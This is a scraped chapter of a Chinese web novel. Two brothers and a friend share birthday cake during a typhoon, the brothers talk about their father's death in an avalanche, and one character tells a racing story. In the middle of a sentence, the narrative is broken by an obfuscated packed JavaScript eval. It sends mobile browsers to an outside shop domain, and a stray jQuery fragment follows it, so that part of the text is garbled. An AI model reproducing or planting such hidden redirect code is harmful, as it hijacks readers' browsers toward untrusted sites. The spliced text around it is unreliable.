食堂里安静一瞬。
姜瑾瑜手里的叉子停在碟沿上方，林久安端起的杯子悬在半空中。
周至诚正在喝那口茶，咽下去的动作比平时慢了一些。
谢絮初的叉子停在蛋糕表面上没动。
封辞柯看着封辞醉，那双浅色的眼睛里的光沉默了一瞬。
“他又长大了一岁，”他说，“他跟你一起长。”
封辞醉点了点头，又叉了一块蛋糕送进嘴里，“他今天会吃到蛋糕吗？”
“会。”
“那他会开心吗？”
“会。他最喜欢吃甜的。”尤其是妈妈做的三大炮。
封辞醉把那一口蛋糕咽下去，没有再问。
低头继续吃自己碟子里剩下的那块蛋糕，一小口一小口地吃掉，然后抬头看了看窗外越来越大的雨，又把目光收回来落在桌面上那根被取下来的蜡烛上。
谢絮初坐在封辞柯旁边，他的叉子在碟沿上放平。
窗外的风声又大了一些，把雨吹得横着打在窗户上，窗玻璃发出一阵细密的震颤。
食堂的日光灯管在某一瞬间闪烁，像是电压被什么东西拉扯一下又松开。
封辞醉把最后一口蛋糕吃完，放下叉子，看了一眼窗外的雨，又看了一眼桌面上那盘还剩大半的蛋糕，“哥哥，山山晚上的饭我喂过了，我喂了它两根磨牙棒。”
“你喂了它两根？”
“它自己吃的，我没有塞给它。”封辞醉说，“它吃完一根又看着我的口袋，我就把第二根给它了。”
“明天它不吃饭了。”
“……它明天再看我的口袋的时候，我就不给了。”
封辞柯没有再说什么，他从桌上抽了一张纸巾递给封辞醉，“擦嘴。”
封辞醉接过去擦了擦嘴角，纸巾上沾上一小片栗子泥的颜色。
窗外传来一声闷响，像是什么东西被风吹落在地上，在雨声里显得格外清晰。
周至诚站起来走到窗边往外看，“楼顶那几盆花被吹翻了，明天再收拾。”
林久安也站起来，“我去看看仓库那边的锁。”他走到门口的时候侧过头看了姜瑾瑜一眼，“你待会儿回房间把窗户关紧，下午那扇窗没关严。”
“知道了，你先去看仓库，我关完窗就上去。”
林久安走进走廊里，脚步在风雨声中渐远。
姜瑾瑜把桌面上的碟子和叉子收拢起来叠成一摞端进厨房，封辞醉跟在他后面，一路走到厨房门口，“姜哥哥，需要我帮忙吗？”
“不用，你坐着。”姜瑾瑜的声音从厨房里传出来，“你去帮你哥哥把桌上的蜡烛收起来。”
封辞醉回到桌边把叉子放好，把那根沾了栗子泥的细蜡烛用纸巾包好，拿在手里看了看，“这根蜡烛我能带回去吗？”
封辞柯还没开口，谢絮初先说了话：“带回去，放你书包里，下次可以再用。”
封辞醉把那根用纸巾包好的蜡烛放进口袋里，拉上拉链，拍了两下口袋确认拉链拉好。
他站到封辞柯旁边，攥着哥哥的衣角，目光落在封辞柯的侧脸上，“哥哥，你想不想爸爸？”
封辞柯低头看着他，没有立刻回答。
窗外一声雷滚过天际，沉闷又悠长，像是从很远的地方一路滚到头顶才炸开的。
雨声在那声雷之后陡然变大，哗哗地砸在玻璃窗上。
他弯下腰，把封辞醉抱起来放在椅子上，看着他，“想。”
“我也想，”封辞醉说，“但是妈妈说爸爸会在天上看着我们，他也能看到我们今天吃了蛋糕，看到我们下雨了也没有害怕。”
封辞柯的手停在弟弟的后脑勺上，掌心贴着柔软的短发，“妈妈说得对。”
封辞醉靠在他肩膀上安静了一会儿，然后轻轻说了一句什么，被风声和雨声盖过大半。
旁边的人没有听清，封辞柯听到了，手臂稍稍收紧一分。
谢絮初坐在桌子的另一侧，看着靠在一起的两个人，把目光收回来落在桌面上那盘还没吃完的栗子泥蛋糕上。
他伸手把蛋糕盘往自己的方向拉了拉，拿起叉子又吃了一口，嚼了两下咽下去，把叉子放在碟子边缘。
封辞醉从封辞柯肩膀上抬起头，转头看向谢絮初，“漂亮哥哥，你吃饱了吗？”
“吃饱了。”
“那我们回房间好不好？我想听你讲那个赛车的故事。”
“哪个？”
“就是那个讲霜什么山的。”
谢絮初站起来，“霜脊山脉，那个故事要讲很久。”
“我不怕久，反正今晚风这么大，又不能出去玩。”
谢絮初看了封辞柯一眼，封辞柯对他微微点头。
谢絮初牵起他的手，“那走吧，你刷牙了吗？”
“刷了，在食堂洗手池刷的。”
两个人一前一后走出食堂，经过控制室门口的时候谢絮初侧头看了一眼窗台上的笼子。
山山缩在窝里只露出一个尾巴尖，尾巴尖偶尔抽动一下，像在做梦。
封辞柯站在食堂门口目送他们的背影消失在楼梯拐角，然后把桌上剩下的蛋糕用盒盖盖好，放进冷藏柜里。
他关上柜门的时候手指在柜门上多停了一瞬，然后转身走进走廊。
客房的门虚掩着，里面透出暖黄色的灯光。
封辞柯走过去轻轻推开门缝，看到封辞醉坐在床边，谢絮初坐在那把椅子上，手里什么都没有拿，正在说话。
“……霜脊山脉那个赛道最高的一段海拔超过两千米，零下十几度，路面上的雪被压过之后会变成冰，冰比雪更滑。在那种路面上刹车要提前很多，入弯的时候方向盘要打得比平时缓，因为你一急就失控。”
封辞醉听得认真，两条腿悬在床边晃了一下又停住，封辞柯把门又合上，留了一道缝，没有再推开。
他靠在走廊的墙壁上，风从走廊尽头的窗户缝隙里钻进来，吹得他袖口微微摆动。
他听到房间里谢絮初的声音继续响着，平缓又稳定，仿佛只是在讲一个真实存在的地方和真实存在过的故事。
片刻后封辞醉的声音响起来，“漂亮哥哥，你以前跑那条赛道的时候，旁边坐的是谁？”
“……以前跑那条赛道的时候，是另一个领航员。”
“那她也跟哥哥一样快吗？”
“她很快，而且是一个很认真的人，每一个弯道的路书都写得很细。”
“那她现在呢？”
房间里安静了一会儿。
风把门缝吹得更开了几指，谢絮初的声音传出来，“她出了点事，后来没有继续跑比赛了。”
封辞醉没有再追问，而是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718333|204126||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
用一种很轻很慢的语气说：“那她一定希望你跑得很快。”
谢絮初沉默许久，“嗯，她会希望。”
封辞柯站在走廊里靠着墙，仰头看着走廊天花板上的灯管，灯管发出嗡嗡的电流声，在风声和雨声的间隙里时断时续。
他站了一会儿，从那道门缝里看到谢絮初侧影的轮廓，那把椅子放在床边，谢絮初坐姿跟平时一样端正。
封辞醉打了个哈欠，小小的身体缩进被子里，“漂亮哥哥，困了……”
“睡吧，不讲了。”
“你明天还讲吗？”
“你想听，我就讲。”谢絮初帮他掖好被角，发梢偶尔蹭过封辞醉的小手。
封辞醉眼睛缓慢闭上又睁开，“那你说话算话。”
“……骗人是小狗。”
封辞醉闭上眼睛，睫毛在眼睑下投了一小片细密的阴影。
谢絮初帮他把被角掖好，然后站起来把那把椅子推回书桌下面，转身走向门口的时候推开门，看到封辞柯靠在走廊的墙上，目光从他脸上移开落在不远处的某个点上。
“他睡了。”谢絮初把门轻轻带上。
“你讲的那个故事，”封辞柯说，“是2018年，那年他还没出事，跑过霜脊山脉。”
谢絮初看着他，“你记得。”
“你跑过的每一场我都记得。”
谢絮初站了片刻，说了一句“你跟我来”，转身往自己房间的方向走，封辞柯跟在他身后，两个人的脚步声在走廊里交替响着。
走到谢絮初房间门口的时候门开了，他走进去没有关门，在窗前的椅子上坐下，窗外风雨交加，雨水顺着玻璃淌成一道道不规则的纹路。
“你父亲的事，”谢絮初说，“你从来没有提过。”
“没有什么好提的。”封辞柯靠门框站着，抬手摸了一下自己的后颈，腺体的位置在发凉，“他是在边防线上出的事，那年封辞醉刚出生，他休假回来看了他一眼就走了，再也没回来。”
“什么时候的事？”
“五年前的十月一号。”封辞柯的声音很平，“那天晚上我妈接到电话，说他在雪山边境执行任务的时候遇到了雪崩。人没找到，后来追授了功勋。封辞醉那年刚满月，什么都不记得。我妈说等他长大了再告诉他。”
“你当时十几岁。”
“已经不算小了。”他把手从后颈放下来，“我修车店老板知道以后让我先休息几天，我没休息。我说我得干活，不干活就没有钱交房租。”
窗外的风陡然增大，雨像被一股力量拧成一股横着扑在玻璃窗上，发出密集的拍打声。
谢絮初坐在那把椅子上没有动，窗玻璃上的水痕又加厚一层。
他开口，“那你后来怎么学的赛车？”
“修车店后面那台模拟器，老板淘汰不要的，我说我想学开车，他让我拿回去自己修。”封辞柯的嘴角动了一下，“那个模拟器破得只有一条赛道能用，就是白沙湾。”
谢絮初靠在椅背上，“你修好了它。”
“修好了，花了一个多月，一边修一边学。”
窗外又一道闪电划过，把房间照亮一瞬又暗下去。
雷声隔了几秒才到，沉闷得像是整片天空都在往下压。
封辞柯从门框上直起身，“台风今晚过境，明天风就小了。”